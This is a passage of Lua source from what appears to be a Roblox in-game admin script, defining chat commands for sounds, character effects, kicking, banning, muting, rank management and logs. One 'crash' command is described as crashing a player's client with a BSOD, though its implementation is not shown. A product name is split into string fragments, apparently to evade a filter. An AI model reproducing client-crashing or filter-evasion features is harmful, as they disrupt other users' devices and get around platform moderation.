  6034. [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
  6035. SOUND:PlayGlobalSound(Arguments[1])
  6036. end};
  6037.  
  6038. [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
  6039. SOUND:StopGlobalSound()
  6040. SOUND:ClearInfo()
  6041. end};
  6042.  
  6043. [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  6044. local Pitch = tonumber(Arguments[1])
  6045. if not Pitch then Pitch = 1 end
  6046. if Sound then
  6047. Sound.Pitch = Pitch
  6048. end
  6049. end};
  6050.  
  6051. [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
  6052. local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
  6053. local Items = MARKET:SearchItem(9, Arguments[1])
  6054. if Items then
  6055. if #Items ~= 0 then
  6056. local List,Correlate = {},{}
  6057. for Num,Info in pairs(Items) do
  6058. local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
  6059. table.insert(List, Display)
  6060. Correlate[Display] = Info.AssetId
  6061. end
  6062. CloseGui:Invoke()
  6063.  
  6064. local CanClick = true
  6065. if Rank == "Member" then CanClick = false end
  6066. local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
  6067. Clicked.Event:connect(function(ClickName)
  6068. local OldSoundId = nil
  6069. SOUND:StopGlobalSound()
  6070. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  6071. SOUND:PlayGlobalSound(Correlate[ClickName])
  6072. end
  6073. end)
  6074. else
  6075. CloseGui:Invoke()
  6076. GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
  6077. end
  6078. else
  6079. CloseGui:Invoke()
  6080. GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
  6081. end
  6082. end, Http = true};
  6083.  
  6084. [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
  6085. local Players = STRING:Scan(Arguments[1], Speaker)
  6086. for _,Player in pairs(Players) do
  6087. if Player.Character then
  6088. CORE:ExecuteResource("Gun", Player.Character)
  6089. end
  6090. end
  6091. end};
  6092.  
  6093. [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6094. local Players = STRING:Scan(Arguments[1], Speaker)
  6095. for _,Player in pairs(Players) do
  6096. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  6097. local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
  6098. Player.Character.Humanoid.WalkSpeed = 0
  6099. Player.Character.Torso.Anchored = true
  6100. coroutine.wrap(function()
  6101. local OldCFrame = Player.Character.Torso.CFrame
  6102. for i = 0,8,0.1 do
  6103. Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
  6104. wait()
  6105. end
  6106. Player.Character.Torso.Anchored = false
  6107. Player.Character:BreakJoints()
  6108. CORE:InvisiblePlayer(Player)
  6109. end)()
  6110. end
  6111. end
  6112. end};
  6113.  
  6114. [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
  6115. local Players = STRING:Scan(Arguments[1], Speaker)
  6116. for _,Player in pairs(Players) do
  6117. CORE:AnchorPlayer(Player)
  6118. end
  6119. end};
  6120.  
  6121. [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6122. local Players = STRING:Scan(Arguments[1], Speaker)
  6123. for _,Player in pairs(Players) do
  6124. CORE:UnanchorPlayer(Player)
  6125. end
  6126. end};
  6127.  
  6128. [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
  6129. local Players = STRING:Scan(Arguments[1], Speaker)
  6130. for _,Player in pairs(Players) do
  6131. CORE:InvisiblePlayer(Player)
  6132. end
  6133. end};
  6134.  
  6135. [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
  6136. local Players = STRING:Scan(Arguments[1], Speaker)
  6137. for _,Player in pairs(Players) do
  6138. CORE:VisiblePlayer(Player)
  6139. end
  6140. end};
  6141.  
  6142. [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6143. local Players = STRING:Scan(Arguments[1], Speaker)
  6144. for _,Player in pairs(Players) do
  6145. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6146. local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
  6147. local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
  6148. local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
  6149. local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
  6150. local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
  6151. local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
  6152. Fly:Play()
  6153. local Touched = false
  6154. coroutine.wrap(function()
  6155. repeat wait(0.1)
  6156. Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
  6157. until not Ast or Ast.Parent == nil or Touched == true
  6158. end)()
  6159. Ast.Touched:connect(function(Part)
  6160. if Touched == false then
  6161. Touched = true
  6162. Part:BreakJoints()
  6163. local Boom = Instance.new("Explosion", Workspace)
  6164. Boom.Position = Ast.Position
  6165. Boom.BlastPressure = 1000000
  6166. Boom.BlastRadius = 30
  6167. Fire.Heat = 0
  6168. Smoke.RiseVelocity = 0
  6169. Fly:Stop()
  6170. BoomSound:Play()
  6171. coroutine.wrap(function()
  6172. wait(3)
  6173. BoomSound:Stop()
  6174. if Ast and Ast.Parent ~= nil then
  6175. Ast:Destroy()
  6176. end
  6177. end)()
  6178. end
  6179. end)
  6180. end
  6181. end
  6182. end};
  6183.  
  6184. [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6185. local Success = {}
  6186. local Players = STRING:Scan(Arguments[1], Speaker)
  6187. for _,Player in pairs(Players) do
  6188. local PlayerRank = RANK:GetRank(Player)
  6189. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  6190. CORE:Kick(Player)
  6191. table.insert(Success, Player)
  6192. end
  6193. end
  6194. REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
  6195. end};
  6196.  
  6197. [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6198. local Success = {}
  6199. local Players = STRING:Scan(Arguments[1], Speaker)
  6200. for _,Player in pairs(Players) do
  6201. local PlayerRank = RANK:GetRank(Player)
  6202. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  6203. RANK:RemoveRank(Player)
  6204. table.insert(Settings.Ranks.Banned, Player.Name)
  6205. CORE:Kick(Player)
  6206. table.insert(Success, Player)
  6207. end
  6208. end
  6209. REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
  6210. end};
  6211.  
  6212. [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6213. local Success = {}
  6214. local Players = STRING:Scan(Arguments[1], Speaker)
  6215. for _,Player in pairs(Players) do
  6216. local PlayerRank = RANK:GetRank(Player)
  6217. if PlayerRank ~= "Owner" then
  6218. RANK:RemoveRank(Player)
  6219. table.insert(Settings.Ranks.Crashed, Player.Name)
  6220. CORE:Crash(Player)
  6221. table.insert(Success, Player)
  6222. end
  6223. end
  6224. REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
  6225. end};
  6226.  
  6227. [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6228. local Success = {}
  6229. local Players = STRING:Scan(Arguments[1], Speaker)
  6230. for _,Player in pairs(Players) do
  6231. local PlayerRank = RANK:GetRank(Player)
  6232. if PlayerRank ~= "Owner" then
  6233. RANK:RemoveRank(Player)
  6234. table.insert(Settings.Ranks.Muted, Player.Name)
  6235. GUI:CoreGui(Player, "Chat", false)
  6236. table.insert(Success, Player)
  6237. end
  6238. end
  6239. REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
  6240. end};
  6241.  
  6242. [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6243. local Players = STRING:Scan(Arguments[1], Speaker)
  6244. if #Players > 0 then
  6245. local Success = {}
  6246. for _,Player in pairs(Players) do
  6247. local RankName,RankNum = RANK:GetRank(Player)
  6248. if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
  6249. if not RANK:IsSupremeOwner(Player) then
  6250. if RankName == "Muted" then
  6251. GUI:CoreGui(Player, "Chat", true)
  6252. end
  6253. if RankNum > 0 then
  6254. GUI:TellNotAdmin(Player)
  6255. end
  6256. RANK:RemoveRank(Player)
  6257. table.insert(Success, Player)
  6258. end
  6259. end
  6260. end
  6261. REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
  6262. else
  6263. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6264. if Player then
  6265. local RankNum = RANK:ConvertRank(PlayerRank)
  6266. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6267. if not RANK:IsSupremeOwner(Player) then
  6268. RANK:RemoveRank(Player)
  6269. REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
  6270. end
  6271. end
  6272. end
  6273. end
  6274. end};
  6275.  
  6276. [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6277. local Players = STRING:Scan(Arguments[1], Speaker)
  6278. if #Players > 0 then
  6279. local Success = {}
  6280. for _,Player in pairs(Players) do
  6281. local PlayerRank,RankNum = RANK:GetRank(Player)
  6282. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  6283. RANK:RemoveRank(Player)
  6284. table.insert(Settings.Ranks.Member, Player.Name)
  6285. GUI:TellAdmin(Player)
  6286. table.insert(Success, Player)
  6287. end
  6288. end
  6289. REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
  6290. else
  6291. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6292. if Player then
  6293. local RankNum = RANK:ConvertRank(PlayerRank)
  6294. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6295. if not RANK:IsSupremeOwner(Player) then
  6296. RANK:RemoveRank(Player)
  6297. table.insert(Settings.Ranks.Member, Player)
  6298. end
  6299. end
  6300. else
  6301. RANK:RemoveRank(Arguments[1])
  6302. table.insert(Settings.Ranks.Member, Arguments[1])
  6303. end
  6304. end
  6305. end};
  6306.  
  6307. [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6308. local Players = STRING:Scan(Arguments[1], Speaker)
  6309. if #Players > 0 then
  6310. local Success = {}
  6311. for _,Player in pairs(Players) do
  6312. local PlayerRank,RankNum = RANK:GetRank(Player)
  6313. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  6314. RANK:RemoveRank(Player)
  6315. table.insert(Settings.Ranks.Admin, Player.Name)
  6316. GUI:TellAdmin(Player)
  6317. table.insert(Success, Player)
  6318. end
  6319. end
  6320. REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
  6321. else
  6322. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6323. if Player then
  6324. local RankNum = RANK:ConvertRank(PlayerRank)
  6325. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6326. if not RANK:IsSupremeOwner(Player) then
  6327. RANK:RemoveRank(Player)
  6328. table.insert(Settings.Ranks.Admin, Player)
  6329. end
  6330. end
  6331. else
  6332. RANK:RemoveRank(Arguments[1])
  6333. table.insert(Settings.Ranks.Admin, Arguments[1])
  6334. end
  6335. end
  6336. end};
  6337.  
  6338. [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6339. local Players = STRING:Scan(Arguments[1], Speaker)
  6340. if RANK:IsSupremeOwner(Speaker) then
  6341. if #Players > 0 then
  6342. local Success = {}
  6343. for _,Player in pairs(Players) do
  6344. if not RANK:IsSupremeOwner(Player) then
  6345. RANK:RemoveRank(Player)
  6346. table.insert(Settings.Ranks.Owner, Player.Name)
  6347. GUI:TellAdmin(Player)
  6348. table.insert(Success, Player)
  6349. end
  6350. end
  6351. REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
  6352. else
  6353. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  6354. if Player then
  6355. local RankNum = RANK:ConvertRank(PlayerRank)
  6356. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  6357. if not RANK:IsSupremeOwner(Player) then
  6358. RANK:RemoveRank(Player)
  6359. table.insert(Settings.Ranks.Owner, Player)
  6360. end
  6361. end
  6362. else
  6363. RANK:RemoveRank(Arguments[1])
  6364. table.insert(Settings.Ranks.Owner, Arguments[1])
  6365. end
  6366. end
  6367. end
  6368. end};
  6369.  
  6370. [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6371. local TableStorage = {}
  6372. for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
  6373. for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
  6374. for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
  6375. GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
  6376. end};
  6377.  
  6378. [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  6379. local TableStorage = {}
  6380. for _,Player in pairs(Server.Players:GetChildren()) do
  6381. local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
  6382. if ValidAdmin then
  6383. if PlayerRank == "Owner" then
  6384. table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
  6385. else
  6386. table.insert(TableStorage, Player.Name..": "..PlayerRank)
  6387. end
  6388. end
  6389. end
  6390. GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
  6391. end};
  6392.  
  6393. [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
  6394. GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
  6395. end};
  6396.  
  6397. [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
  6398. GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
  6399. end};
  6400.  
  6401. [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
  6402. GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
  6403. end};
  6404.  
  6405. [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6406. local TableStorage = {}
  6407. for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
  6408. for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
  6409. for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
  6410. GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
  6411. end};
  6412.  
  6413. [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  6414. local TableStorage = {}
  6415. for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
  6416. for Num,PlayerName in pairs(PlayerNames) do
  6417. if PlayerRank == "Owner" then
  6418. table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
  6419. else
  6420. table.insert(TableStorage, PlayerName..": "..PlayerRank)
  6421. end
  6422. end
  6423. end
  6424. GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
  6425. end};
  6426.  
  6427. [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6428. GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
  6429. end};
  6430.  
  6431. [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6432. GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
  6433. end};
  6434.  
  6435. [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6436. GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
  6437. end};
  6438.  
  6439. [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6440. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  6441. if type(ExploitLog) ~= "table" then ExploitLog = {} end
  6442. GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
  6443. end};
  6444.  
  6445. [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6446. CommandLogs = {}
  6447. end};
  6448.  
  6449. [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6450. ChatLogs = {}
  6451. end};
  6452.  
  6453. [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6454. IRC.Logs = {}
  6455. end};
  6456.  
  6457. [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6458. CommandLogs = {}
  6459. ChatLogs = {}
  6460. IRC.Logs = {}
  6461. end};
  6462.  
  6463. [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6464. Server.GDS:SetAsync("ExploitLog", {})
  6465. end};
  6466.  
  6467. [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
  6468. local List,Correlate,SoundName = {},{},{}
  6469. for Name,Info in pairs(SoundList) do
  6470. local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
  6471. table.insert(List, View)
  6472. Correlate[View] = Info[1]
  6473. end
  6474.  
  6475. local CanClick = true
  6476. if Rank == "Member" then CanClick = false end
  6477. local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
  6478. Clicked.Event:connect(function(ClickName)
  6479. local OldSoundId = nil
  6480. SOUND:StopGlobalSound()
  6481. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  6482. SOUND:PlayGlobalSound(Correlate[ClickName])
  6483. end
  6484. end)
  6485. end};
  6486.  
  6487. [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6488. SOUND:SyncSoundList(Speaker)
  6489. end};
  6490.  
  6491. [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6492. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
  6493. if Answer == "Yes" then
  6494. Server.Workspace.Terrain:Clear()
  6495. end
  6496. end};
  6497.  
  6498. [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6499. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
  6500. if Answer == "Yes" then
  6501. for _,Obj in pairs(Workspace:GetChildren()) do
  6502. if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
  6503. Obj:Destroy()
  6504. end
  6505. end
  6506. end
  6507. end};
  6508.  
  6509. [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6510. CORE:MakeBase()
  6511. end};
  6512.  
  6513. [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
  6514. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6515. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6516. CustomSounds = {}
  6517. end
  6518. if tostring(Arguments[1]) then
  6519. local Request = MARKET:GetItemInfo(Arguments[1])
  6520. if Request.AssetTypeId == 3 then
  6521. table.insert(CustomSounds, {Arguments[2], Arguments[1]})
  6522. SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
  6523. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6524. GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
  6525. else
  6526. GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
  6527. end
  6528. end
  6529. end};
  6530.  
  6531. [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6532. local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6533. if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6534. CustomSounds = {}
  6535. end
  6536.  
  6537. local Removed = {}
  6538. for Num,Data in pairs(CustomSounds) do
  6539. if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
  6540. table.insert(Removed, Data[1])
  6541. table.remove(CustomSounds, Num)
  6542. end
  6543. end
  6544.  
  6545. Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6546.  
  6547. SOUND:SyncSoundList()
  6548.  
  6549. if #Removed > 0 then
  6550. GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
  6551. else
  6552. GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
  6553. end
  6554. end};
  6555.  
  6556. [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6557. local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
  6558. if Answer == "Yes" then
  6559. Server.GDS:SetAsync("MML Custom Sounds", {})
  6560. SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
  6561. GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
  6562. end
  6563. end};
  6564.  
  6565. [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6566. local Players = STRING:Scan(Arguments[1], Speaker)
  6567. local SpeakerTesting = false
  6568. for _,Player in pairs(Players) do
  6569. if Player == Speaker then SpeakerTesting = true end
  6570. if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
  6571. CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
  6572. --wait(10)
  6573. --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
  6574. end)() end
  6575. end
  6576. if SpeakerTesting == false then
  6577. GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
  6578. end
  6579. end};
  6580.  
  6581. [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6582. local Players = STRING:Scan(Arguments[1], Speaker)
  6583. local Compile = {}
  6584. for _,Player in pairs(Players) do
  6585. local PlayerInfo = ClientInfo[Player.Name]
  6586. if PlayerInfo then
  6587. if PlayerInfo.Benchmark then
  6588. table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
  6589. else
  6590. table.insert(Compile, Player.Name..": No score")
  6591. end
  6592. end
  6593. end
  6594. GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
  6595. end};
  6596.  
  6597. [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
  6598. local Players = STRING:Scan(Arguments[1], Speaker)
  6599. for _,Player in pairs(Players) do
  6600. CORE:Chatted(Arguments[2], Player, true)
  6601. end
  6602. end};
  6603.  
  6604. [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
  6605. CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
  6606. end};
  6607.  
  6608. [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
  6609. local Players = STRING:Scan(Arguments[1], Speaker)
  6610. for _,Player in pairs(Players) do
  6611. if Player.Character ~= nil then
  6612. if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
  6613. if Player.Character.Torso:FindFirstChild("Neck") then
  6614. Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6615. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6616. Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
  6617. local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
  6618. local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
  6619. end
  6620. end
  6621. end
  6622. end
  6623. end};
  6624.  
  6625. [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
  6626. local Players = STRING:Scan(Arguments[1], Speaker)
  6627. for _,Player in pairs(Players) do
  6628. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
  6629. Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6630. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6631. end
  6632. end
  6633. end};
  6634.  
  6635. [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
  6636. local Players = STRING:Scan(Arguments[1], Speaker)
  6637. for _,Player in pairs(Players) do
